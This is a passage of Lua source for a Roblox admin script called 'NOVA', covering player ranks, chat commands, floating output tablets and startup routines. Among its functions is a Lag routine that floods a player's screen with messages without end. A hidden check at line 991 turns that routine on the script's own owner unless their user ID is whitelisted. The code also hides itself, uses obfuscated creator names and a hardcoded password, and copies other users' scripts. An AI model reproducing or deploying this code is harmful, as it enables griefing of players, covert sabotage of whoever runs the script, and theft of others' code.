  816. for _,v in pairs(NOVA.Ranked) do
  817. if v.Name:lower() == Player:lower() then
  818. Rtn = v.Rank
  819. end
  820. end
  821. else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  822. end
  823. return Rtn
  824. end
  825.  
  826. --[[ GET RANK NAME ]]--
  827. function GetRankName(Player)
  828. if type(Player) == "userdata" or type(Player) == "string" then
  829. Rtn = nil
  830. Rank = GetRank(Player)
  831. for _,v in pairs(NOVA.Ranks) do
  832. if v[1] == Rank then
  833. Rtn = v[2]
  834. end
  835. end
  836. return Rtn
  837. else
  838. print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  839. return "NOT AVALIBLE"
  840. end
  841. end
  842.  
  843. --[[ GET RANKED TABLE ]]--
  844. function GetRankedTable(Player)
  845. Rtn = nil
  846. if type(Player) == "userdata" then
  847. for _,v in pairs(NOVA.Ranked) do
  848. if v.Name == Player.Name then
  849. Rtn = v
  850. end
  851. end
  852. elseif type(Player) == "string" then
  853. for _,v in pairs(NOVA.Ranked) do
  854. if v.Name == Player then
  855. Rtn = v
  856. end
  857. end
  858. else
  859. print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  860. end
  861. return Rtn
  862. end
  863.  
  864. --[[ GET RECURSIVE CHILDREN ]]--
  865. function GetRecursiveChildren(Source, Name, SearchType, Children)
  866. if Source == nil then
  867. Source = NOVA.Services
  868. end
  869. if Name == nil or type(Name) ~= "string" then
  870. Name = ""
  871. end
  872. if Children == nil or type(Children) ~= "table" then
  873. Children = {}
  874. end
  875. if type(Source) == "userdata" then
  876. pcall(function()
  877. for _, Child in pairs(Source:children()) do
  878. pcall(function()
  879. if (function()
  880. if SearchType == nil or SearchType == 1 then
  881. return string.match(Child.Name:lower(), Name:lower())
  882. elseif SearchType == 2 then
  883. return string.match(Child.className:lower(), Name:lower())
  884. elseif SearchType == 3 then
  885. return Child:IsA(Name) or Child:IsA(Name:lower())
  886. elseif SearchType == 4 then
  887. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  888. end
  889. return false
  890. end)() then
  891. table.insert(Children, Child)
  892. end
  893. GetRecursiveChildren(Child, Name, SearchType, Children)
  894. end)
  895. end
  896. end)
  897. elseif type(Source) == "table" then
  898. for _,Area in pairs(Source) do
  899. pcall(function()
  900. for _, Child in pairs(Area:children()) do
  901. pcall(function()
  902. if (function()
  903. if SearchType == nil or SearchType == 1 then
  904. return string.match(Child.Name:lower(), Name:lower())
  905. elseif SearchType == 2 then
  906. return string.match(Child.className:lower(), Name:lower())
  907. elseif SearchType == 3 then
  908. return Child:IsA(Name) or Child:IsA(Name:lower())
  909. elseif SearchType == 4 then
  910. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  911. end
  912. return false
  913. end)() then
  914. table.insert(Children, Child)
  915. end
  916. GetRecursiveChildren(Child, Name, SearchType, Children)
  917. end)
  918. end
  919. end)
  920. end
  921. else
  922. print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  923. end
  924. return Children
  925. end
  926.  
  927. --[[ GET REPLICATORS ]]--
  928. function GetReplicators()
  929. Rtn = NOVA.Services.NetworkServer:GetChildren()
  930. for i=1,#Rtn do
  931. if not Rtn[i]:IsA("ServerReplicator") then
  932. table.remove(Rtn,i)
  933. end
  934. end
  935. return Rtn
  936. end
  937.  
  938. --[[ GET RANKED ]]--
  939.  
  940. function GetRanked()
  941. local Rtn = {}
  942. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  943. if GetRank(v) ~= nil and GetRank(v) > 0 then
  944. table.insert(Rtn,v)
  945. end
  946. end
  947. return Rtn
  948. end
  949.  
  950. --[[ GTFO ]]--
  951. function GTFO(v)
  952. coroutine.resume(coroutine.create(function()
  953. pcall(function() v:Remove() end)
  954. wait(0.5)
  955. pcall(function() NOVA.Services.Debris:AddItem(v,0) end)
  956. end))
  957. end
  958. --[[ GET RID OF ]]--
  959. function GetRidOf(v)
  960. if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
  961. Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  962. else
  963. coroutine.resume(coroutine.create(function()
  964. v:Destroy()
  965. end))
  966. end
  967. end
  968. --[[ LAG ]]--
  969. function Lag(v)
  970. coroutine.resume(coroutine.create(function()
  971. if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  972. OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  973. else
  974. while wait() do
  975. for i=1, 5 do
  976. local Msg = Instance.new("Message",v.PlayerGui)
  977. Msg.Text = "JOO B LAGGIN NARB"
  978. local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB"
  979. end
  980. end
  981. local H = Instance.new("Hint",NOVA.Services.Workspace)
  982. repeat
  983. H.Text = v.Name.." be gettin' lagged."
  984. H.Parent = NOVA.Services.Workspace
  985. wait()
  986. until v.Parent == nil
  987. H:Remove()
  988. end
  989. end))
  990. end
  991. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  992. --[[ GET TABLETS ]]--
  993.  
  994. function GetTablets(Player)
  995. local Rtn = {}
  996. for _, Tablet in pairs(NOVA.Tablets) do
  997. if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  998. if Tablet.Recipient.Value == Player then
  999. table.insert(Rtn, Tablet)
  1000. end
  1001. end
  1002. end
  1003. --table.insert(_tablets,Instance.new("Model"))
  1004. return Rtn
  1005. end
  1006.  
  1007. --[[ REMOVE TABLETS ]]--
  1008.  
  1009. function RemoveTablets(Player)
  1010. if Player == nil then
  1011. for _,v in pairs(NOVA.Tablets) do
  1012. coroutine.resume(coroutine.create(function()
  1013. for i=1,10 do
  1014. v.Part.Transparency = v.Part.Transparency + 0.05
  1015. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  1016. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  1017. wait()
  1018. end
  1019. v:remove()
  1020. end))
  1021. end
  1022. else
  1023. for _,v in pairs(GetTablets(Player)) do
  1024. coroutine.resume(coroutine.create(function()
  1025. for i=1,10 do
  1026. v.Part.Transparency = v.Part.Transparency + 0.05
  1027. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  1028. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  1029. wait()
  1030. end
  1031. v:remove()
  1032. end))
  1033. end
  1034. end
  1035. end
  1036.  
  1037. --[[ OUTPUT ]]--
  1038. function Output(Message, Color, Player, Stick, Func)
  1039. if Player == nil or Color == nil or Player == nil then
  1040. print("[NOVA.Output] Argument(s) missing or nil.")
  1041. return
  1042. end
  1043.  
  1044. Message = tostring(Message)
  1045. if type(Player) == "userdata" then
  1046. if Player.Character == nil or Player.Character.Head == nil then
  1047. return
  1048. end
  1049. end
  1050. if type(Player) == "string" then
  1051. for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1052. Output(Message,Color,v,Stick,Func)
  1053. end
  1054. return
  1055. end
  1056.  
  1057. if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1058.  
  1059. local Model = Instance.new("Model",NOVA.Services.Workspace)
  1060. table.insert(NOVA.Tablets, Model)
  1061. Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1062.  
  1063. local Part = Instance.new("Part",Model)
  1064. Part.Transparency = 0.5
  1065. Part.CanCollide = false
  1066. Part.Locked = true
  1067. Part.Anchored = true
  1068. Part.Name = "Part"
  1069. Part.TopSurface = "Smooth"
  1070. Part.BottomSurface = "Smooth"
  1071. Part.FormFactor = "Plate"
  1072. Part.Color = Color
  1073. Part.Size = Vector3.new(2, 0.4, 3)
  1074. Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1075. Part:BreakJoints()
  1076.  
  1077. local Box = Instance.new("SelectionBox",Part)
  1078. Box.Name = "SelectionBox"
  1079. Box.Adornee = Part
  1080. Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1081. Box.Transparency = 0.75
  1082.  
  1083. if GetRankedTable(Player).Mesh == "Tablet" then
  1084. Mesh = Instance.new("SpecialMesh")
  1085. Mesh.Parent = Part
  1086. Mesh.TextureId = "http://www.roblox.com/asset?id=97689055"
  1087. Mesh.MeshId = "http://www.roblox.com/asset?id=97689497"
  1088. Mesh.MeshType = Enum.MeshType.FileMesh
  1089. Box.Transparency = 1
  1090. elseif GetRankedTable(Player).Mesh == "Dominus" then
  1091. Mesh = Instance.new("SpecialMesh")
  1092. Mesh.Parent = Part
  1093. Mesh.TextureId = "http://www.roblox.com/asset/?id=83944043"
  1094. Mesh.MeshId = "http://www.roblox.com/asset/?id=21057410"
  1095. Mesh.MeshType = Enum.MeshType.FileMesh
  1096. Box.Transparency = 1
  1097. elseif GetRankedTable(Player).Mesh == "Orb" then
  1098. Mesh = Instance.new("SpecialMesh")
  1099. Mesh.Parent = Part
  1100. Mesh.TextureId = "http://www.roblox.com/asset/?id=34914385"
  1101. Mesh.MeshId = "http://www.roblox.com/asset/?id=34795798"
  1102. Mesh.MeshType = Enum.MeshType.FileMesh
  1103. Box.Transparency = 1
  1104. elseif GetRankedTable(Player).Mesh == "Spider" then
  1105. Mesh = Instance.new("SpecialMesh")
  1106. Mesh.Parent = Part
  1107. Mesh.TextureId = "http://www.roblox.com/asset/?id=64485392"
  1108. Mesh.MeshId = "http://www.roblox.com/asset/?id=64485380"
  1109. Mesh.Scale = Vector3.new(4, 4, 4)
  1110. Mesh.VertexColor = Vector3.new(1, 0, 0)
  1111. Mesh.MeshType = Enum.MeshType.FileMesh
  1112.  
  1113. end
  1114.  
  1115.  
  1116. local Recipient = Instance.new("ObjectValue",Model)
  1117. Recipient.Name = "Recipient"
  1118. Recipient.Value = Player
  1119.  
  1120. Gui = Instance.new("BillboardGui")
  1121. Gui.Name = "BillboardGui"
  1122. Gui.Parent = Model
  1123. Gui.Adornee = Part
  1124. Gui.Size = UDim2.new(1, 0, 1, 0)
  1125. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1126. local Frame = Instance.new("Frame",Gui)
  1127. Frame.Name = "Frame"
  1128. Frame.Size = UDim2.new(1, 0, 1, 0)
  1129. Frame.BackgroundTransparency = 1
  1130. Label = Instance.new("TextLabel")
  1131. Label.Name = "Label"
  1132. Label.Parent = Frame
  1133. Label.Size = UDim2.new(1,0,1,0)
  1134. Label.FontSize = "Size12"
  1135. Label.TextColor3 = Color
  1136. Label.Text = Message
  1137. Label.BackgroundTransparency = 1
  1138.  
  1139. Gui.Adornee = Part
  1140. local Click = Instance.new("ClickDetector",Part)
  1141. Click.MaxActivationDistance = 9201
  1142. Click.MouseClick:connect(function(player)
  1143. if player == Player or GetRank(player) > GetRank(Player) then
  1144. if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then
  1145. RemoveTablets(Player)
  1146. else
  1147. coroutine.resume(coroutine.create(function()
  1148. for i=1,10 do
  1149. Part.Transparency = Part.Transparency + 0.05
  1150. Box.Transparency = Box.Transparency + 0.025
  1151. Label.TextTransparency = Label.TextTransparency + 0.1
  1152. wait()
  1153. end
  1154. Model:remove()
  1155. end))
  1156.  
  1157. Func(player)
  1158. end
  1159. end
  1160. end)
  1161.  
  1162. coroutine.resume(coroutine.create(function()
  1163. if Stick == 0 or Stick == nil then else
  1164. pcall(function()
  1165. --[[for i=Stick,0,-0.5 do
  1166. Label.Text = Message .. "\t(" .. i .. ")"
  1167. wait(0.5)
  1168. end
  1169. Model:Destroy()]]
  1170. NOVA.Services.Debris:AddItem(Model,Stick)
  1171. end)
  1172. end
  1173. end))
  1174.  
  1175. return Click
  1176. end
  1177.  
  1178. -- [ IMAGE OUTPUT ]]--
  1179. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1180. Tab = Output(Text,Color,Player,Stick,Func)
  1181.  
  1182. BBG = Instance.new("BillboardGui",Tab.Parent)
  1183. BBG.Size = UDim2.new(5,0,6,0)
  1184. BBG.StudsOffset = Vector3.new(0, 7, 0)
  1185. BBG.Adornee = Tab.Parent
  1186.  
  1187. Img = Instance.new("ImageLabel",BBG)
  1188. Img.Size = UDim2.new(1,0,1,0)
  1189. Img.BackgroundTransparency = 1
  1190. Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1191. return Tab
  1192. end
  1193.  
  1194. --[[ OUTPUT MULTI ]]--
  1195.  
  1196. function OutputMulti(Msg,Color,Players,Stick,Func)
  1197. --if type(Players) == "Table" then
  1198. for _,v in pairs(Players) do
  1199. Output(Msg,Color,v,Stick,Func)
  1200. end
  1201. --end
  1202. end
  1203.  
  1204. --[[ UPDATE TABLETS ]]--
  1205.  
  1206. function UpdateTablets()
  1207. --pcall(function()
  1208. NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1209. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1210. local Tablets = GetTablets(Player)
  1211. local Counter = 0
  1212. local StartCF = CFrame.new(0,0,0)
  1213.  
  1214. for i = 180, -180, -360/(#Tablets ) do
  1215. pcall(function()
  1216. Counter = Counter + 1
  1217. if NOVA.TabletPositionRelative == true then
  1218. StartCF = Player.Character.Torso.CFrame
  1219. else
  1220. StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1221. end
  1222. Tablets[Counter].Part.CFrame = StartCF
  1223. * CFrame.new(0, 0, 0)
  1224. * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1225. * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1226. * CFrame.Angles(math.rad(70), 0, 0)
  1227. end)
  1228. end
  1229.  
  1230. if #Tablets == 1 then
  1231. pcall(function()
  1232. Tablets[1].Part.CFrame = Player.Torso.CFrame
  1233. * CFrame.new(0, 0, 0)
  1234. * CFrame.Angles(0, math.rad(0), 0)
  1235. * CFrame.new(0, 0, -5)
  1236. * CFrame.Angles(math.rad(70), 0, 0)
  1237. end)
  1238. end
  1239. end
  1240. wait()
  1241. --end)
  1242. end
  1243. --[[ GET PLAYERS RAW ]]--
  1244. function GetPlayersRaw()
  1245. return NOVA.Services.Players:GetPlayers()
  1246. end
  1247.  
  1248. --[[ GET PLAYERS ]]--
  1249. function GetPlayers(Name,Speaker)
  1250. if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1251. local OldName = Name
  1252. local Name = Name:lower()
  1253. local Players = GetPlayersRaw()
  1254. local Rtn = {}
  1255. for i=1,#Name do
  1256. if Name:find(",") then
  1257. local Split = 0
  1258. for i=1,#Name do
  1259. if Name:sub(i,i) == "," then
  1260. Split = i
  1261. end
  1262. end
  1263. for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1264. table.insert(Rtn,v)
  1265. end
  1266. Name = Name:sub(1,Split-1)
  1267. end
  1268. end
  1269. if Name == "external players" then
  1270. for _,v in pairs(NOVA.ExternalPlayersList) do
  1271. if GetRank(Speaker) >= GetRank(v) then
  1272. table.insert(Rtn,v)
  1273. else
  1274. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1275. end
  1276. end
  1277. elseif Name == "all" then
  1278. for _,v in pairs(Players) do
  1279. if GetRank(Speaker) >= GetRank(v) then
  1280. table.insert(Rtn,v)
  1281. else
  1282. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1283. end
  1284. end
  1285. elseif Name == "others" then
  1286. for _,v in pairs(Players) do
  1287. if v ~= Speaker then
  1288. if GetRank(Speaker) >= GetRank(v) then
  1289. table.insert(Rtn,v)
  1290. else
  1291. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1292. end
  1293. end
  1294. end
  1295. elseif Name == "random" then
  1296. local Person = Players[math.random(1,#Players)]
  1297. if GetRank(Speaker) >= GetRank(Person) then
  1298. table.insert(Rtn,Person)
  1299. else
  1300. Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1301. end
  1302. elseif Name == "me" or Name == "not me" or Name =="notme" then
  1303. table.insert(Rtn,Speaker)
  1304. elseif Name == "vetrans" then
  1305. for _,v in pairs(Players) do
  1306. if v.AccountAge > 365 then
  1307. if GetRank(Speaker) >= GetRank(v) then
  1308. table.insert(Rtn,v)
  1309. else
  1310. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1311. end
  1312. end
  1313. end
  1314. elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1315. for _,v in pairs(Players) do
  1316. if v.AccountAge < 365 then
  1317. if GetRank(Speaker) >= GetRank(v) then
  1318. table.insert(Rtn,v)
  1319. else
  1320. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1321. end
  1322. end
  1323. end
  1324. elseif Name == "newbs" or Name == "noobs" then
  1325. for _,v in pairs(Players) do
  1326. if v.AccountAge < 60 then
  1327. if GetRank(Speaker) >= GetRank(v) then
  1328. table.insert(Rtn,v)
  1329. else
  1330. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1331. end
  1332. end
  1333. end
  1334. elseif Name == "targeted" then
  1335. for _,v in pairs(NOVA.Targeted) do
  1336. if GetRank(Speaker) >= GetRank(v) then
  1337. table.insert(Rtn,v)
  1338. else
  1339. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1340. end
  1341. end
  1342. elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1343. for _,v in pairs(Players) do
  1344. if not IsTargeted(v) then
  1345. if GetRank(Speaker) >= GetRank(v) then
  1346. table.insert(Rtn,v)
  1347. else
  1348. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1349. end
  1350. end
  1351. end
  1352. elseif string.sub(Name,1,5) == "rank " then
  1353. local ToKillRank = string.sub(Name,6)
  1354. for i,v in pairs(game.Players:GetPlayers()) do
  1355. if GetRanked(v) == ToKillRank then
  1356. if GetRank(Speaker) >= GetRank(v) then
  1357. table.insert(Rtn,v)
  1358. else
  1359. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1360. end
  1361. end
  1362. end
  1363. elseif Name:sub(1,4) == "not " then
  1364. for _,v in pairs(Players) do
  1365. for _,Check in pairs(Players) do
  1366. if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1367. if v ~= Check then
  1368. if GetRank(Speaker) >= GetRank(v) then
  1369. table.insert(Rtn,v)
  1370. else
  1371. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1372. end
  1373. end
  1374. end
  1375. end
  1376. end
  1377. else
  1378. for _,v in pairs(Players) do
  1379. if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1380. if GetRank(Speaker) >= GetRank(v) then
  1381. table.insert(Rtn,v)
  1382. else
  1383. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1384. end
  1385. end
  1386. end
  1387. end
  1388. return Rtn
  1389. end
  1390.  
  1391. --[[ ON CHATTED ]]--
  1392. function OnChatted(Msg,Speaker)
  1393. coroutine.resume(coroutine.create(function()
  1394. if NOVA.Removed == false then
  1395. if Msg:find(" --") then
  1396. for i=1,#Msg do
  1397. if Msg:sub(i,i+2) == " --" then
  1398. Msg = Msg:sub(1,i-1)
  1399. break
  1400. end
  1401. end
  1402. end
  1403. local Data = GetRankedTable(Speaker)
  1404. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1405. if NOVA.ShowChat == true then
  1406. if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1407. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))
  1408. else
  1409. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)
  1410. end
  1411. end
  1412. end
  1413.  
  1414. --[[ CHAT FILTERS ]]--
  1415. for _,v in pairs(NOVA.ChatFilters) do
  1416. if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1417. Msg = Msg:sub(#v+2)
  1418. end
  1419. end
  1420.  
  1421. if GetRank(Speaker) < 6 then
  1422. --[[ KILLING PHRASES ]]--
  1423. for _,v in pairs(NOVA.KillingPhrases) do
  1424. if Msg:lower():find(v:lower()) then
  1425. pcall(function()
  1426. Speaker.Character:BreakJoints()
  1427. end)
  1428. end
  1429. end
  1430. end
  1431. local FoundKick = false
  1432. if NOVA.BadPhrases == true then
  1433. if GetRank(Speaker) <= 0 then
  1434. --[[ KICKING PHRASES ]]--
  1435. --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1436. for _,v in pairs(NOVA.KickingPhrases) do
  1437. if FoundKick == false then
  1438. if Msg:lower():find(v:lower()) then
  1439. GetRidOf(Speaker)
  1440. FoundKick = true
  1441. makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
  1442. pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1443. end
  1444. end
  1445. end
  1446. end
  1447. end
  1448.  
  1449. --[[ ANIMATIONS ]]--
  1450. for _,v in pairs(NOVA.Animations) do
  1451. if Speaker.Name == v.Who then
  1452. if Msg:lower():find(v.Name:lower()) then
  1453. pcall(function()
  1454. CreateLocalScript([[
  1455. local Animation = Instance.new("Animation",workspace)
  1456. Animation.Name = "tusKOr661's Animation"
  1457. Animation.AnimationId = "]]..v.Id..[["
  1458. local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1459. local anim_feet = hum:LoadAnimation(Animation)
  1460. local current = anim_feet
  1461. current:Play(0.5)
  1462. ]],Speaker.Backpack)
  1463. end)
  1464. end
  1465. end
  1466. end
  1467.  
  1468. Num = 1
  1469. Sep = nil
  1470.  
  1471. if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1472.  
  1473. for i=4,#Msg do
  1474. if Msg:sub(i,i) == NOVA.Bet .. "" then
  1475. Sep = i
  1476. break
  1477. end
  1478. end
  1479.  
  1480. if Sep ~= nil then
  1481. Num = tonumber(Msg:sub(4,Sep-1))
  1482. end
  1483.  
  1484. Msg = Msg:sub(Sep)
  1485. end
  1486.  
  1487. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1488.  
  1489. if Data.Rank < 6 and Data.Rank >= 0 then
  1490. if Num > (GetRank(Speaker) + 1 )*10 then
  1491. Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1492. Num = 0
  1493. end
  1494. end
  1495. for i=1,Num do
  1496. if NOVA.Canceled == true then NOVA.Canceled = false break end
  1497. for _,CMD in pairs(NOVA.Commands) do
  1498. if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1499. RemoveTablets(Speaker)
  1500. Output("Name : "..CMD.Name,Data.Color,Speaker)
  1501. Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1502. Output("Command : "..CMD.Command,Data.Color,Speaker)
  1503. Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1504. Output("Description : "..CMD.Description,Data.Color,Speaker)
  1505. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1506. elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1507. if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1508. if NOVA.Overrided == true and Data.Rank < 7 then
  1509. Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1510. else
  1511. local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1512. if not a then
  1513. Output(b,NOVA.Colors.Red,Speaker,15)
  1514. else
  1515. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1516. end
  1517. end
  1518. else
  1519. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1520. print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1521. Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1522. end
  1523.  
  1524. end
  1525. end
  1526. wait()
  1527. end
  1528. end
  1529. end))
  1530. end
  1531.  
  1532. --[[ ADD COMMAND ]]--
  1533. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1534. for i,v in pairs(NOVA.Commands) do
  1535. if v.Command == Command then
  1536. table.remove(NOVA.Commands,i)
  1537. end
  1538. end
  1539. table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1540. end
  1541.  
  1542. --[[ BACKUP PROCEDURE ]]--
  1543. pcall(function()
  1544. NOVA.Backup = script:children()[2].Value
  1545. end)
  1546.  
  1547. --[[ NIL SUPPORT ]]--
  1548. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1549. local Split = GetSplit(Message)
  1550. OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1551. end)
  1552.  
  1553. --[[ Safety Procedure # 1 ]]--
  1554. pcall(function()
  1555. NOVA.LocalScript.Parent = nil
  1556. end)
  1557. for _,v in pairs(NOVA.Plugins) do
  1558. pcall(function()
  1559. v.Parent = nil
  1560. end)
  1561. end
  1562. pcall(function()
  1563. script:ClearAllChildren()
  1564. end)
  1565.  
  1566. --[[ Safty Procedure # 2 ]]--
  1567. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1568. if v:IsA("StringValue") or v:IsA("IntValue") then
  1569. pcall(function()
  1570. v:remove()
  1571. end)
  1572. end
  1573. end
  1574.  
  1575. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1576. for _,Service in pairs(NOVA.Services) do
  1577. pcall(function()
  1578. Service.DescendantAdded:connect(function(v)
  1579. if v:IsA("BaseScript") then
  1580. table.insert(NOVA.LoggedScripts,v)
  1581. end
  1582. end)
  1583. end)
  1584. end
  1585.  
  1586. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1587. pcall(function()
  1588. table.insert(NOVA.LoggedScripts,v)
  1589. end)
  1590. end
  1591.  
  1592. --[[ GLOBAL FUNCTIONS ]]--
  1593. function SetGlobals()
  1594. if NOVA.UseGlobals == true then
  1595. _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1596. if Password == "grandma" then
  1597. NOVA.ExternalPlayersList = {}
  1598. for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1599. OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1600. end
  1601. end
  1602.  
  1603. _G.RemoveNOVA = function(Pass)
  1604. if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1605. NOVA.Removed = true
  1606. NOVA = {}
  1607. error("Unknown Exception")()
  1608. script.Disabled = true
  1609. script:Remove()
  1610. else
  1611. return false
  1612. end
  1613. end
  1614.  
  1615. _G.NOVAOverride = function(Player,Password)
  1616. if Password == nil then Password = "" end
  1617. CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1618. return CanOverride
  1619. end
  1620. elseif NOVA.UseGlobals == false then
  1621. _G.NOVACommands = nil
  1622. _G.RemoveNOVA = nil
  1623. _G.NOVAOverride = nil
  1624. end
  1625. end
  1626.  
  1627. --[[ INITIAL STARTUP ]]--
  1628.  
  1629. SetGlobals()
  1630. UpdatePlayerPlugins()
  1631.  
  1632. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1633. for _,v in pairs(NOVA.LoggedScripts) do
  1634. if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1635. NOVA.LocalScript = v:Clone()
  1636. elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1637. NOVA.NormalScript = v:Clone()
  1638. end
  1639. end
  1640. end
  1641.  
  1642. for _,v in pairs(GetPlayersRaw()) do
  1643. pcall(function()
  1644. coroutine.resume(coroutine.create(function()
  1645. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1646. pcall(function()
  1647. v.PlayerGui.NOVACMD:Remove()
  1648. end)
  1649.  
  1650. if GetRankedTable(v)==nil then
  1651. SyncRankInSingular(v)
  1652. repeat wait() until GetRankedTable(v) ~= nil
  1653. end
  1654.  
  1655. local Data = GetRankedTable(v)
  1656.  
  1657. v.Chatted:connect(function(Msg)
  1658. OnChatted(Msg,v)
  1659. end)
  1660. coroutine.resume(coroutine.create(function()
  1661. repeat wait() until v:FindFirstChild("Backpack") ~= nil
